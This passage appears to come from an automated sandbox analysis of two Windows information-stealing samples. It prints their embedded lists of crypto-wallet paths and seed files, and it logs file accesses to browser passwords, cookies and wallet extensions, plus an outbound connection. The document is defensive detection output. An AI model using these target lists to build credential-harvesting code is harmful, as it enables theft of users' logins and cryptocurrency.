Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000934000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 90c05232da.exe	String found in binary or memory: ExodusWeb3
Source: 90c05232da.exe, 00000011.00000003.3162655463.0000000000845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000965000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: file__0.localstorage
Source: 90c05232da.exe, 00000011.00000003.2995802292.000000000089E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000965000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000965000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: MultiDoge
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000965000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: seed.seco
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000934000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000934000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.6:50099 -> 138.124.34.218:80

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
